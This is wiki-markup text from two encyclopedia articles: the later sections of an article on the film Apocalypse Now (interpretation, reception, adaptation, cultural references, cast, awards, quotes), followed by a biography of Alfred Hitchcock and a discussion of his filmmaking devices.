This chilling monologue besides suggesting how man is connected to war is also an allusion to [[post traumatic stress disorder]], a condition common to many Vietnam veterans. Willard's quest for Kurtz's compound parallels Kurtz's own descent into madness. He never tells his fellow shipmates of the PBR the true purpose of the mission and in a chilling scene, after his crew massacres people sailing on a sampan, Willard murders the surviving girl. Kurtz who was a committed family man and a highly respected colonel is driven insane after witnessing a vile incident commited by his enemies while on a peacekeeping mission. He realised that he can never win the war unless he surrenders his morality and kill without judgment. For Kurtz, this action drove him insane and so he gathered other disillusioned soldiers and started a strange, bizarre civilization in the Cambodian forest.

This is a subtle allusion to the bureaucracy that directs soldiers in the war. The bureaucrats propagandized the [[Vietnam War]] as a just cause to save the world from the evil of [[Communism]].

The general public and several Vietnam war veterans fiercely condemned the war and believed that the government lied and misled the public. 

Even Willard who is assigned the mission is cynical about his mission from the beginning :
: ''Charging a man with murder in this place was like handing out speeding tickets at the Indy 500''

{{spoiler}}

The climax at Kurtz's compound is the most confusing and the most frequently debated aspect of the film. Several critics believe it to be anticlimactic after the earlier more action oriented scenes and also the fact that it differs greatly from other war films in that there's no final battle scenario. 

[[Roger Ebert]] in his original review defends the ending:

:''Coppola doesn't have an ending, if we or he expected the closing scenes to pull everything together and make sense of it. Nobody should have been surprised. &quot;Apocalypse Now&quot; doesn't tell any kind of a conventional story, doesn't have a thought-out message for us about Vietnam, has no answers, and thus needs no ending.The way the film ends now, with Brando's fuzzy, brooding monologues and the final violence, feels much more satisfactory than any conventional ending possibly could.''

When Willard arrives, he is captured and put into containment as he is 'interrogated' by Kurtz who lectures and drones on about his philosophies. While other interpretations exist, it can be assumed that Kurtz wishes to die a soldier's death and has been waiting for his death. But his followers refuse to kill him and Colby([[Scott Glenn]]) who was sent to kill him ended up joining his 'tribe'. He wishes or rather hopes that Willard would be able to do so. Willard, at first does not want to as he too is converted by Kurtz's beliefs but after Kurtz's monologue and his statement on judgment, Willard understands Kurtz's desire and so decides to complete his mission by subverting his moral judgment and justifies it to himself

:''Everybody wanted me to do it, him most of all. I felt like he was up there, waiting for me to take the pain away. He just wanted to go out like a soldier, standing up, not like some poor, wasted, rag-assed renegade. Even the jungle wanted him dead, and that's who he really took his orders from anyway.''

The 'jungle' is seen as a metaphor to nature or more specifically man's human nature. After killing Kurtz, Willard is revered by the denizens of Kurtz's tribe but he instead leaves suggesting that perhaps he is capable of escaping the horror of war.

==Responses==
''Apocalypse Now'' premiered in [[1979]] to mixed reviews and received polarized responses from the audiences. It is said that it was as lauded as it was reviled. Many critics slammed the film, calling it overly pretentious, while others felt that it ended anticlimatically after a splendid first act.

[[Roger Ebert]], who hailed it as the best film of [[1979]] and added it to his list of Great Movies stated:
:&quot;Apocalypse Now is the best Vietnam film, one of the greatest of all films, because it pushes beyond the others, into the dark places of the soul. It is not about war so much as about how war reveals truths we would be happy never to discover.&quot;

Today, the film is regarded by many as a masterpiece of the [[New Hollywood]] era. It is on the [[AFI's 100 Years... 100 Movies]] list at number 28. Kilgore's quote &quot;I love the smell of napalm in the morning&quot; was number 12 on the [[AFI's 100 Years... 100 Movie Quotes]] list. ''[[Sight and Sound]]'' magazine polled several critics to name the best film of the last 25 years and ''Apocalypse Now'' was named number 1.

The catastrophic production of the film unfortunately made it symbol of the dangers of excessive directorial control over a film. The production was said to have taken a toll on Coppola, both mentally and emotionally. To many cinephiles, ''Apocalypse Now'' is the last great film of a legendary director whose subsequent films have failed to match it in quality.

==Adaptation==
Although inspired by Joseph Conrad's ''Heart of Darkness'', the film deviates extensively from it. The novel takes place in the [[Belgian Congo]] in the [[19th century]]; Kurtz and Marlow (who is named Willard in the movie) are commercial agents of a [[Belgium|Belgian]] [[ivory]] company that brutally exploits its [[Africa|African]] native workers. In the novel, Marlow is sent to bring the ailing Kurtz home; in the movie, Willard is sent to kill Kurtz.

The character of Kilgore is an invention of the screenwriters. Nevertheless, Coppola has maintained many episodes (the spear and arrow attack on the boat, for example) that respect the spirit of the novel and in particular its critique of the concept of civilization and progress. The fact that Coppola substituted [[Europe|European]] colonization with [[United States|American]] [[interventionism (politics)|interventionism]] does not change the universal message of the book. [http://www.cyberpat.com/essays/coppola.html]

==Influence==
As one of the most [[icon]]ic films of the [[1900s|20th century]], the film has been referenced and [[parody|parodied]] countless times.

===Film===
* The film was parodied in a short film called ''[[Porklips Now]]'', about health inspector Will Dullard, who makes a trip to inspect the meat processing shop of a man named Mertz.
* British film ''[[Nil by Mouth (film)|Nil by Mouth]]'', by ''[[Gary Oldman]]'', has a scene where the character Danny (played by ''[[Steve Sweeney]]'') dubs the scene that the photojournalist talks to Cap. Willard (when he is in the wood cage), as the film is played on a TV.
* In ''[[True Romance]]'', [[Clarence Worley]] calls ''Apocalypse Now'' &quot;the greatest Vietnam film ever made&quot;.
* ''[[Apocalypse Pooh]]'' is a nine-minute short which marries visuals from ''[[Winnie the Pooh]]'' cartoons with audio from ''Apocalypse Now''.  Amazingly, they fit perfectly, following the basic [[plot]] well.
* ''[[Hot Shots! Part Deux]]'' starring Sheen's son [[Charlie Sheen]] parodies the film. Martin Sheen, appearing once again as Willard, and Charlie Sheen's character ''Topper'' are depicted staring at each other while passing in opposite directions on PBRs on a river. As they meet each shouts in unison, &quot;I loved you in [[Wall Street (movie)|Wall Street]]!&quot;. 
* Another movie starring Charlie Sheen, ''[[The Chase (1994 film)|The Chase]]'', has a gag scene after the end credits, in which Sheen quotes Kilgore's famous napalm line.
* In ''[[Jarhead (film)|Jarhead]]'', shortly before &quot;Swoff&quot; and the guys are sent into action, they are watching ''Apocalypse Now'' in a theater inside the base, singing along and interacting with the infamous helicopter attack scene, much in the way one would at a ''[[Rocky Horror Picture Show]]'' screening. Oddly enough, Walter Murch was editor/sound designer for both Apocalypse Now &amp; Jarhead.
* In ''[[Back to the Future Part II (film)|Back to the Future 2]]'', right after Marty meets up with Doc and the police take Jennifer away, you can see a sign behind them reading &quot;Surf Vietnam.&quot;

===Television===
* In an episode of ''[[Seinfeld]]'', [[Elaine Benes]] visits her employer, [[J. Peterman]], in a scene that parodies Willard's eventual meeting with Kurtz.
* The same scene is also parodied in an episode of ''[[Sealab 2021]]'', with Captain Murphy as Kurtz and Marco as Willard.
* Parodied in the episode &quot;[[Kamp Krusty]]&quot; of ''[[The Simpsons]]'' with [[Bart Simpson|Bart]] assuming the role of Kurtz. [[Marge Simpson]] also tells her husband, [[Homer Simpson|Homer]], in another episode, ''&quot;your character provides the comic relief, like Marlon Brando in Apocalypse Now&quot;''. The 'Ride of the Valkyries' helicopter sequence was humorously homaged in a &quot;[[Treehouse of Horror]]&quot; short. 
* In an episode of ''[[The Critic]]'', one of the films Jay Sherman reviews is a [[musical]] remake titled &quot;Apocalypse Wow.&quot;
* The episode &quot;Eekpocalypse Now!&quot; of the cartoon series ''[[Eek! the Cat]]'' cast Eek as Willard, Elmo the Elk as Colonel Kilgore and Sharky the Sharkdog as Colonel Kurtz.
* In the ''[[Buffy the Vampire Slayer]]'' episode &quot;Restless,&quot;  contains [[Xander]]'s dream version of ''Apocalypse Now'', including [[Principal Snyder]] as Kurtz.
* [[Claymation]] cartoonist Corky Quakenbush produced &quot;''A Pack of Gifts Now''&quot;, which is part of his [[Rudolph the Red-Nosed Reindeer (television special)|Rudolph]] Trilogy (the other two being &quot;''Raging Rudolph''&quot; and &quot;''The Reinfather''.&quot;) The short is set in [[Saskatchewan]], with Rudolph in the Willard role and [[Santa Claus]] in the Kurtz role. Rudolph's mission is to &quot;terminate the Kringle (Santa) with extreme prejudice.&quot; This short would air on the Christmas edition of ''[[MadTV]]'' in 1999.
* In the TV series ''[[Scrubs (TV show)|Scrubs]]'', the episode &quot;My Heavy Meddle&quot; ends with the janitors comment: &quot; The horror!&quot;, quoting Kurtz.
* In an episode of ''[[Animaniacs]]'', [[Warner Brothers]] sends Yakko, Wakko and Dot Warner on a mission to stop a crazed movie director (a parody of [[Jerry Lewis]]) from filming a movie the studio had cancelled. The trio find the director, who has created a kingdom for himself in which [[stunt double]]s worship him. They stop the film and smash him with a 50 ton weight. His last words are &quot;The hurting... the hurting...&quot; Throughout the episode, a singer who looks very much like [[Jim Morrison]] drones &quot;This is the ending, the ending of our story, the ending.&quot; 
* &quot;Musings of a Cigarette Smoking Man,&quot; an ''[[X-Files]]'' episode features a flashback scene where &quot;the Cigarette Smoking Man&quot; is tasked with the assassination of [[John F. Kennedy]]. The scene has many things similar or identical to the Scene where Willard is tasked with the assassination of Kurtz, most prominently both have a question that goes something like &quot;have you ever met myself this man or the general before?&quot; to which Willard and the CSM both reply &quot;Not personally&quot;.
* The cartoon ''[[Yvon of the Yukon]]'' has an episode that parodies the opening scene, as well as a helicopter pilot stating &quot;I love the smell of lip balm in the morning&quot;
* In a sketch in [[Alas Smith and Jones]], [[Mel Smith]] sits in a darkened room and expresses philosophies similar to that of Kurtz at length to a man who has been sent to find him, at the end of the sketch [[Griff Rhys Jones]] switches on the light to reveal that they are in fact sitting in a rather mundane bathroom with Smith sitting in the bath. Jones (a fairly dull [[Her Majesty's Revenue and Customs|tax inspector]] perched on the toilet) reveals that he is merely investigating Smith for [[Child benefit]] fraud.

===Music===
* [[Iron Maiden]]'s &quot;The Edge of Darkness&quot; on their album ''[[The X Factor (album)|The X Factor]]'' (1995) is very closely based on the film. Most lyrics are very close to being a direct quote from the movie.
* The [[Canada|Canadian]] band [[Death From Above 1979]] take their name from the 'Death From Above' motto on Kilgore's helicopter.
* The band [[Dismember]] uses the quote &quot;I love the smell of napalm in the morning!&quot; to start of their song &quot;Let the Napalm Rain.&quot;
* The band [[Sodom (band)|Sodom]] uses the full quote, including &quot;smells like... victory&quot; in their song &quot;Napalm in the Morning&quot;.
* The band [[Ministry (band)|Ministry]] uses a sample of Dennis Hopper saying &quot;Alright, it's alright&quot; on their song &quot;N.W.O.&quot;
* The band [[The Clash]]'s song &quot;Charlie Don't Surf&quot; from their album [[Sandinista!]] derives its title and concept from the movie.
* The band [[Milhaven]] samples extensively from Kurtz's monologue at the end of the film in their song &quot;Drink a Pint of Blood a Day.&quot;
* [[Jedi Mind Tricks]] use a few clips on their CD release Violent By Design.
* [[2Pacalypse Now]] was rapper [[Tupac Shakur]]'s debut album, released in November 1991.
* [[The Dead Milkmen]] song &quot;Beach Party Vietnam&quot; is a parody of the surfing scene, and the Vietnam War in general.
* [[Fall Silent]] incorporates a clip of Marlow's &quot;The Horror...the horror&quot; in their song entitled &quot;The Great White Death.&quot;

===Video games===
* In the videogame ''[[World of Warcraft]]'', a series of quests in the Stranglethorn Vale zone take you to the camp of a crazed Colonel Kurzen who has [[brainwash]]ed his men, in an attempt to kill the Colonel.
*In a homage to the infamous village attack scene, the computer game &quot;[[Battlefield Vietnam]]&quot; offers up &quot;[[Ride of the Valkyries]]&quot; as  a song to be played while inside helicopters and other vehicles.
* The Half-Life singleplayer mod 'Heart of Evil' is partly inspired by the film (the Vietnam War setting, a U.S. Army captain sent to assassinate a rogue colonel, the helicopter ride with &quot;[[Ride of the Valkyries]]&quot; in the background, the boat ride to the colonel's compound).
*In [[StarCraft]], one of the Firebat's quotes is &quot;I love the smell of napalm.&quot; The Firebats are flamethrower wielding infantry.

===Literature===
* The ''[[Star Wars]]'' novel ''[[Shatterpoint]]'', written by [[Matthew Stover]], is based on ''Apocalypse Now''.
* Before the members of the SAS patrol leave England in the book [[Bravo Two Zero]] by [[Andy McNab]], they watch ''Apocalypse Now''.

==Primary cast==
*[[Marlon Brando]] - Col. Walter E. Kurtz
*[[Martin Sheen]] - [[Captain#Army, Marine Corps and Air Force|Capt.]] Benjamin L. Willard 
*[[Dennis Hopper]] - &quot;American [[photojournalist]]&quot;
*[[Robert Duvall]] - Lt. Col. Bill Kilgore
*[[Frederic Forrest]] - &quot;Chef&quot;, sailor
*[[Albert Hall]] - Chief Phillips, Navy boat commander
*[[Sam Bottoms]] - Lance B. Johnson, sailor and famous surfer
*[[Laurence Fishburne]] - Tyrone, AKA &quot;Clean&quot;, sailor
*[[G. D. Spradlin]] - Gen. Corman, [[military intelligence|G-2]]
*[[Harrison Ford]] - Col. Lucas, aide to Corman
*[[Scott Glenn]] - Lt. Richard M. Colby, previously assigned Willard's current mission
*[[Tom Mason]] - supply sgt.
*[[Colleen Camp]] - [[Playmate]], &quot;Miss May&quot;

'''Award wins:'''
*[[Cannes Film Festival]] : [[Palme d'Or]]
*[[Academy Award for Best Cinematography]] ([[Vittorio Storaro]])
*[[Academy Award for Sound]] ([[Richard Beggs]], [[Mark Berger]], [[Nathan Boxer]] and [[Walter Murch]])
*[[Golden Globe Award for Best Director - Motion Picture|Golden Globe Award for Best Director]]  ([[Francis Ford Coppola]])
*[[Golden Globe Award for Best Supporting Actor - Motion Picture|Golden Globe Award for Best Supporting Actor]]  ([[Robert Duvall]])
*[[Golden Globe|Golden Globe Award for Best Original Score - Motion Picture]] ([[Carmine Coppola]] &amp; [[Francis Ford Coppola]])

In 2000 the United States [[Library of Congress]] deemed the film &quot;[[cultural significance|culturally significant]]&quot; and selected it for preservation in the [[National Film Registry]].

It is widely believed that ''Apocalypse Now'' did not win the Best Picture Oscar in 1979 due to the fact that another Vietnam epic, ''[[The Deer Hunter]]'', had just won the previous year. It is often regarded as a far superior film to the 1979 winner of the award, ''[[Kramer vs. Kramer]]''.

'''Award nominations:'''
*[[Academy Award for Best Picture]]
*[[Golden Globe Award for Best Motion Picture - Drama]]
*[[Academy Award for Best Supporting Actor]] - ([[Robert Duvall]])
*[[Academy Award for Best Art Direction|Academy Award for Best Art Direction - Set Decoration]] ([[Angelo P. Graham]], [[George R. Nelson]] and [[Dean Tavoularis]])
*[[Academy Award for Directing]]  ([[Francis Ford Coppola]])
*[[Academy Award for Film Editing]] ([[Lisa Fruchtman]], [[Gerald B. Greenberg]], [[Richard Marks]] and [[Walter Murch]])
*[[Academy Award for Writing Adapted Screenplay|Best Writing, Screenplay Based on Material from Another Medium]] ([[Francis Ford Coppola]] &amp; [[John Milius]])
*[[Writers Guild of America|WGA Award for Best Drama Written Directly for the Screen]] ([[John Milius]] &amp; [[Francis Ford Coppola]])
*[[Grammy Award for Best Score Soundtrack Album for a Motion Picture, Television or Other Visual Media|Grammy Award for Best Original Score Written for a Motion Picture]]  ([[Carmine Coppola]] &amp; [[Francis Ford Coppola]])

==Quotes==
* &quot;You smell that? Do you smell that? ... Napalm, son. Nothing else in the world smells like that. I love the smell of napalm in the morning. You know, one time we had a hill bombed, for twelve hours. When it was all over I walked up. We didn't find one of 'em, not one stinkin' dink body. The smell, you know that gasoline smell, the whole hill. Smelled like ... victory. Someday this war's gonna end.&quot; - Lt. Col. Bill Kilgore
* &quot;I watched a snail crawl along the edge of a straight razor. That's my dream. That's my nightmare. Crawling, slithering, along the edge of a straight razor, and surviving.&quot; - Col. Walter E. Kurtz  (on tape)
* &quot;We train young men to drop fire on people, but their commanders won't allow them to write &lt;nowiki&gt;'fuck'&lt;/nowiki&gt; on their airplanes because ... it's obscene!&quot; - Col. Walter E. Kurtz
* &quot;They were gonna make me a major for this, and I wasn't even in their fuckin' army anymore.&quot; - Captain Willard 
* &quot;Charging a man with murder in this place was like handing out speeding tickets at the Indy 500&quot; - Willard, when beginning his assigned mission
* &quot;What are they going to say? That he was a kind man? That he was a wise man? That he had plans? Bullshit!&quot; - The photojournalist to Willard, on how Kurtz will be remembered
* &quot;Never get out of the boat!&quot; - Chef
* &quot;I wanted a mission, and for my sins they gave me one. Brought it up to me like room service. It was a real choice mission, and after it was done, I'd never want another.&quot; - Willard.

==External links==
{{wikiquote}}
*{{imdb title|id=0078788|title=Apocalypse Now}}
*{{filmsite|id=apoc|title=Apocalypse Now}}

 &lt;!-- Robert Duvall --&gt;

[[Category:1979 films]]
[[Category:Best Picture Oscar Nominee]]
[[Category:Best Supporting Actor Oscar Nominee (film)]]
[[Category:Cult films]]
[[Category:Films based on short fiction]]
[[Category:Films directed by Francis Ford Coppola]]
[[Category:Palme d'Or winners]]
[[Category:United States National Film Registry]]
[[Category:Vietnam War films]]
[[Category:Anti-Military Movies]]

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      <comment>/* Hollywood */</comment>
      <text xml:space="preserve">{{Infobox Celebrity
| name        = Alfred Hitchcock
| image       = Alfred Hitchcock.JPG
| caption     = Alfred Hitchcock introduces the ''[[Alfred Hitchcock Presents]]'' episode &quot;The Sorcerer's Apprentice.&quot;
| birth_date  = [[13 August]] [[1899]]
| birth_place = [[Leytonstone]], [[London]], [[United Kingdom|UK]]
| death_date  = [[29 April]] [[1980]]
| death_place = [[Bel-Air, Los Angeles, California|Bel Air]], [[Los Angeles, California|Los Angeles]], [[United States|USA]]
| occupation  = [[film]] [[film director|director]] and [[film producer|producer]]
| spouse      = [[Alma Reville]]
}}
'''Sir Alfred Joseph Hitchcock''' [[Order of the British Empire|KBE]] ([[13 August]] [[1899]]&amp;ndash;[[29 April]] [[1980]]) was a [[United Kingdom|British]]-born [[film]] [[film director|director]] and [[film producer|producer]], closely associated with the [[suspense]] [[thriller]] genre. He began directing in the [[United Kingdom]] before working mostly in the [[United States]] from 1939 onwards, taking out dual citizenship in 1956.  He directed more than fifty feature films in a career spanning six decades, from the [[silent film]] era, through the invention of [[talkie]]s, to the [[color]] era. Hitchcock remains one of the best known and most popular directors of all time, famous for his expert and largely unrivaled control of pace and suspense throughout his movies.

Hitchcock's films draw heavily on both [[fear]] and [[fantasy]], and are known for their droll humour. They often portray innocent people caught up in circumstances beyond their control or understanding. This often involves a ''[[transference]] of guilt'' in which the &quot;innocent&quot; character's failings are transferred to another character and magnified. Another common theme is the exploration of the compatibility of men and women; Hitchcock's films often take a [[cynicism|cynical]] view of traditional romantic relationships.

Although Hitchcock was an enormous [[superstar|star]] during his lifetime, he was not usually ranked highly by contemporaneous [[film critic]]s. ''[[Rebecca (film)|Rebecca]]'' was the only one of his films to win the [[Academy Award for Best Picture]], although four others were nominated. Hitchcock never won the Academy Award for Best Director. He was awarded the [[Irving G. Thalberg Memorial Award]] for lifetime achievement in 1967, but never personally received an [[Academy Award|Academy Award of Merit]].  The [[French New Wave]] critics, especially [[Éric Rohmer]], [[Claude Chabrol]], and [[François Truffaut]], were among the first to promote his films as having [[artistic merit]] beyond entertainment. Hitchcock was one of the first directors to whom they applied their [[auteur theory]], which stresses the artistic authority of the director in the film-making process.

Through his fame, public persona, and degree of creative control, Hitchcock transformed the role of the director, which had previously been eclipsed by that of the producer. He is seen today as the quintessential director who managed to combine art and entertainment in a way very few have ever matched. His innovations and vision have influenced a great number of filmmakers, producers, and [[actor]]s.

==Biography==
&lt;!--- The following is okay, with more biographical material, some trimming of minor films, and less of a &quot;laundry-list&quot; exposition ---&gt;

===Early life===
Alfred Hitchcock was born on [[August 13]], [[1899]], in [[Leytonstone]], [[London]], the second son and youngest of the three children of William Hitchcock, a greengrocer, and his wife, Emma Jane Hitchcock (nee Whelan). His family was mostly [[Irish Catholic]]. Hitchcock was sent to Catholic boarding schools in London. He has said his childhood was very lonely and sheltered.

At an early age, after acting childishly, Hitchcock claimed that his father sent him to the local police station carrying a note.  When he presented the police officer on duty with the note, he was locked in a cell for a few moments, petrifying the young child.  This was a favorite anecdote of his, one which is often suggested to be the cause for the theme of distrust of police which runs through many of his films.

At 14, Hitchcock lost his father and left the Jesuit-run [[St Ignatius' College]] in [[Stamford Hill]], his school at the time, to study at the School for Engineering and Navigation. After graduating, he became a [[technical drawing|draftsman]] and [[advertising]] designer with a cable company.

About that time, Hitchcock became intrigued by [[photography]] and started working in film in London. In 1920, he obtained a full-time job at Islington Studios under its American owners, [[Famous Players Film Company|Players]]-Lasky, and their British successors, [[Gainsborough Pictures]], designing the titles for silent movies.

===Pre-war British career===
As a major talent in a new industry with plenty of opportunity, he rose quickly.  In 1925, [[Michael Balcon]] of Gainsborough Pictures gave him a chance to direct his first film, ''[[The Pleasure Garden (1925 film)|The Pleasure Garden]]'', made at the [[Universum Film AG|Ufa studios]] in Germany.  However, the commercial failure of this film, and his second, ''[[The Mountain Eagle]]'', threatened to derail his promising career, until he attached himself to the thriller genre. The resulting film, ''[[The Lodger: A Story of the London Fog]]'', was released in [[1927 in film|1927]] and was a major commercial and critical success.  Like many of his earlier works it was influenced by [[German Expressionism|Expressionist]] techniques he had witnessed first hand in Germany. In it, attractive blondes are strangled and the new lodger ([[Ivor Novello]]) in the Bunting family's upstairs apartment falls under heavy suspicion.  This is the first truly &quot;Hitchcockian&quot; film, incorporating such themes as the &quot;wrong man&quot;.

Following the success of ''The Lodger'', Hitchcock began his first  efforts to promote himself in the media, and hired a publicist to cement his growing reputation as one of the British film industry's rising stars. In 1926, he was to marry his assistant director [[Alma Reville]]. They had a daughter, Patricia, in 1928. Alma was Hitchcock's closest collaborator. She wrote some of his screenplays and worked with him on every one of his films.

In 1929, he began work on ''[[Blackmail (1929 film)|Blackmail]]'', his tenth film. While the film was in production, the studio decided to make it one of Britain's first sound pictures. With the climax of the film taking place on the dome of the [[British Museum]], ''Blackmail'' also began the Hitchcock tradition of using famous landmarks as the backdrop to a story.

In 1933, Hitchcock was once again working for Michael Balcon at Gaumont-British Picture Corporation. His first film for the company, ''[[The Man Who Knew Too Much (1934 film)|The Man Who Knew Too Much]]'' (1934), was a success, while his second, ''[[The 39 Steps (1935 film)| The 39 Steps]]'' (1935), is often considered one of the best films from his early period. It was also one of the first to introduce the concept of the &quot;[[MacGuffin]]&quot;, a plot device around which a whole story would revolve. In ''The 39 Steps'', the MacGuffin is a stolen set of blueprints. 

His next major success was in 1938, ''[[The Lady Vanishes]]'', a clever and fast-paced film about the search for a kindly old Englishwoman ([[Dame May Whitty]]), who disappears while on board a train in the fictional country of Vandrika (a thinly-veiled version of [[Nazi]] [[Germany]]).

By the end of the 1930s, Hitchcock was at the top of his game artistically, and in a position to name his own terms when [[David O. Selznick]] managed to entice the Hitchcocks across to Hollywood.

===Hollywood===
Hitchcock's ''[[gallows humour]]'' continued in his American work, together with the suspense that became his trademark. However, working arrangements with his new producer were less than optimal. Selznick suffered from perennial money problems and Hitchcock was often unhappy with the amount of creative control demanded by Selznick over his films. Subsequently, Selznick ended up &quot;loaning&quot; Hitchcock to the larger studios more often than producing Hitchcock's films himself.

With the prestigious picture ''[[Rebecca (film)|Rebecca]]'' in 1940, Hitchcock made his first American movie, although it was set in England and based on a novel by English author Dame [[Daphne du Maurier]]. This [[Gothic novel|Gothic]] [[melodrama]] explores the fears of a naïve young bride who enters a great English country home and must grapple with a distant husband, a predatory housekeeper, and the legacy of her husband's late wife. It has also subsequently been noted for the lesbian undercurrents in [[Judith Anderson]]'s performance. The film won the [[Academy Award]] for [[Academy Award for Best Picture|Best Picture]] of 1940.  Hitchcock's second American film, the European-set thriller ''[[Foreign Correspondent]]'' was also nominated for Best Picture that year. 

Hitchcock's work during the 1940's was very diverse, ranging from the romantic comedy, ''[[Mr. &amp; Mrs. Smith (1941 film)|Mr. &amp; Mrs. Smith]]'' (1941) and the courtroom drama ''[[The Paradine Case]]'' (1947), to the dark and disturbing ''Shadow of a Doubt'' (1943). 

''[[Shadow of a Doubt]]'', his personal favorite, was about young Charlotte &quot;Charlie&quot; Newton ([[Teresa Wright]]), who suspects her beloved uncle Charlie Spencer ([[Joseph Cotten]]) of murder. In its use of overlapping characters, dialogue, and closeups it has provided a generation of film theorists with psychoanalytic potential, including [[Jacques Lacan]] and [[Slavoj Žižek]]. The film also harkens to one of Cotten's better known films, ''[[Citizen Kane]]''.

''[[Spellbound (1945 film)|Spellbound]]'' explored the then very fashionable subject of [[psychoanalysis]] and featured a dream sequence which was designed by [[Salvador Dali]]. The actual dream sequence in the film was considerably cut from the original planned scene that was to run for some minutes but proved too disturbing for the finished film.

''[[Notorious]]'' (1946) marked Hitchcock's first film as a producer as well as director. As Selznick failed to see the subject's potential, he allowed Hitchcock to make the film for [[RKO]]. From this point on, Hitchcock would produce his own films, giving him a far greater degree of freedom to pursue the projects that interested him.  Starring [[Ingrid Bergman]] and Hitchcock regular [[Cary Grant]], and featuring a plot about Nazis, uranium, and South America, ''[[Notorious]]'' was a huge box office success and has remained one of Hitchcock's most acclaimed films.  Its inventive use of suspense and props briefly led to Hitchcock being under surveillance by the [[CIA]] due to his use of [[uranium]] as a plot device.  

''[[Alfred Hitchcock's Rope|Rope]]'' (his first color film) came next in 1948. Here Hitchcock experimented with marshalling suspense in a confined environment, as he had done earlier with ''[[Lifeboat (film)|Lifeboat]]''. He also experimented with exceptionally long takes - up to ten minutes (see [[Alfred Hitchcock#Themes and devices|Themes and devices]]).  Featuring [[James Stewart]] in the leading role, ''Rope'' was the first of an eventual four films Stewart would make for Hitchcock.  Based on the [[Leopold and Loeb]] case of the 1920s, ''Rope'' is also among the earliest openly gay-themed films to emerge from the [[Hays Office]] controlled Hollywood studio era.

''[[Under Capricorn]]'', set in nineteenth-century Australia, also used this short-lived technique, but to a more limited extent. For these two films he formed a production company with Sidney Bernstein, called Transatlantic Pictures, which folded after these two unsuccessful pictures.

===Peak years and decline===
With ''[[Strangers on a Train]]'' (1951), his first epic film based on the novel by [[Patricia Highsmith]], Hitchcock combined many of the best elements from his preceding British and American films.  Two men casually meet and speculate on removing people who are causing them difficulty. One of the men, though, takes this banter entirely seriously. With [[Farley Granger]] reprising some elements of his role from ''Rope'', ''Strangers'' continued the director's interest in the narrative possiblities of homosexual blackmail and murder. 

Three very popular films, all starring [[Grace Kelly]], followed. ''[[Dial M for Murder]]'' was adapted from the popular stage play by Frederick Knott. This was originally another experimental film, with Hitchcock using the technique of [[3-D film|3D]] cinematography, although the film was never released in this format. ''[[Rear Window]]'', starred James Stewart again, as well as [[Thelma Ritter]] and [[Raymond Burr]]. Here the wheelchair-bound Stewart observes the movements of his neighbours across the courtyard and becomes convinced one of them has murdered his wife. Like ''[[Lifeboat]]'' and ''[[Rope]]'', the movie was photographed almost entirely within the confines of a small space: Stewart's tiny studio apartment overlooking the massive courtyard set. ''[[To Catch a Thief]]'', set in the French Riviera, starred Kelly and [[Cary Grant]]. 

In 1956, Hitchcock also remade his 1934 film ''[[The Man Who Knew Too Much (1956 film)|The Man Who Knew Too Much]]'', this time with [[James Stewart]] and [[Doris Day]]. 

1958's ''[[Vertigo (film)|Vertigo]]'' again starred Stewart, this time with [[Kim Novak]] and [[Barbara Bel Geddes]]. The film was a commercial failure, but has come to be viewed by many as one of Hitchcock's masterpieces. 

Hitchcock followed ''Vertigo'' with three very different films, which were all massive commercial successes. All are also recognised as among his very best films: ''[[North by Northwest]]'' (1959), ''[[Psycho]]'' (1960), and ''[[The Birds (film)|The Birds]]'' (1963). The latter two were particularly notable for their unconventional soundtracks, both by [[Bernard Herrmann]]: the screeching strings in the murder scene in ''Psycho'' pushed the limits of the time, and ''The Birds'' dispensed completely with conventional instruments, using an electronically produced soundtrack. These were his last great films, after which his career slowly wound down. In 1972 Hitchcock returned to [[London]] to film ''[[Frenzy]]'', his last major success. For the first time, Hitchcock allowed nudity and profane language, which had before been taboo, in one of his films. 

Failing health slowed down his output over the last two decades of his life.

''[[Family Plot]]'' (1976) was his last film. It related the escapades of &quot;Madam&quot; Blanche Tyler played by [[Barbara Harris (actress)|Barbara Harris]], a fraudulent spiritualist, and her taxi driver lover [[Bruce Dern]] making a living from her phony powers. [[William Devane]] and [[Katherine Helmond]] co-starred.

Hitchcock was created a [[Order of the British Empire|Knight Commander of the Order of the British Empire]] by [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] in the 1980 [[New Years Honours]]. He died just four months later, on [[April 29]], before he had the opportunity to be formally invested by the Queen. He was nevertheless entitled to be known as '''Sir Alfred Hitchcock''' and to use the postnominal letters [[KBE]], because he remained a British subject when he adopted American citizenship in 1956.

Alfred Hitchcock died from [[renal failure]] in his [[Bel Air]], [[Los Angeles]], home aged 80, and was survived by his wife [[Alma Reville]], and their daughter, Patricia Hitchcock O'Connell. His body was cremated, and apparently there was no public funeral or memorial service.

==Themes and devices==
Hitchcock preferred the use of suspense over surprise in his films. In surprise, the director assaults the viewer with frightening things. In suspense, the director tells or shows things to the audience which the characters in the film do not know, and then artfully builds tension around what will happen when the characters finally learn the truth.

Further blurring the moral distinction between the innocent and the guilty, occasionally making this indictment clear, Hitchcock also makes voyeurs of his &quot;respectable&quot; audience. In ''Rear Window'' ([[1954 in film|1954]]), after L. B. Jeffries (played by James Stewart) has been staring across the courtyard at him for most of the film, Lars Thorwald (played by [[Raymond Burr]]) confronts Jeffries by saying &quot;What do you want of me?&quot; Burr might as well have been addressing the audience.  In fact, shortly before asking this, Thorwald turns to face the camera directly for the first time &amp;mdash; at this point, audiences often gasp.

One of Hitchcock's favourite devices for driving the plots of his stories and creating suspense was what he called the &quot;[[MacGuffin]].&quot; The plots of many of his suspense films revolve around a &quot;MacGuffin&quot;: a detail which, by inciting curiosity and desire, drives the plot and motivates the actions of characters within the story, but whose specific identity and nature is unimportant to the spectator of the film. In ''[[Vertigo (film)|Vertigo]]'', for instance, &quot;Carlotta Valdes&quot; is a MacGuffin; she never appears and the details of her death are unimportant to the viewer, but the story about her ghost's haunting of Madeleine Elster is the spur for Scottie's investigation of her, and hence the film's entire plot. In ''[[Notorious]]'' the uranium that the main characters must recover before it reaches Nazi hands serves as a similarly arbitrary motivation: any dangerous object would suffice. And state secrets of various kinds serve as MacGuffins in several of the spy films, like ''[[The 39 Steps (1935 film)| The 39 Steps]]''.

Most of Hitchcock's films contain [[cameo role|cameo]] [[List of Alfred Hitchcock cameo appearances|appearances by Hitchcock himself]]: the director would be seen for a brief moment boarding a bus, crossing in front of a building, standing in an apartment across the courtyard, or appearing in a photograph. This playful gesture became one of Hitchcock's signatures. As a recurring theme he would carry a musical instrument &amp;mdash; especially memorable was the large double bass case that he wrestles onto the train at the beginning of ''[[Strangers on a Train]]''. 

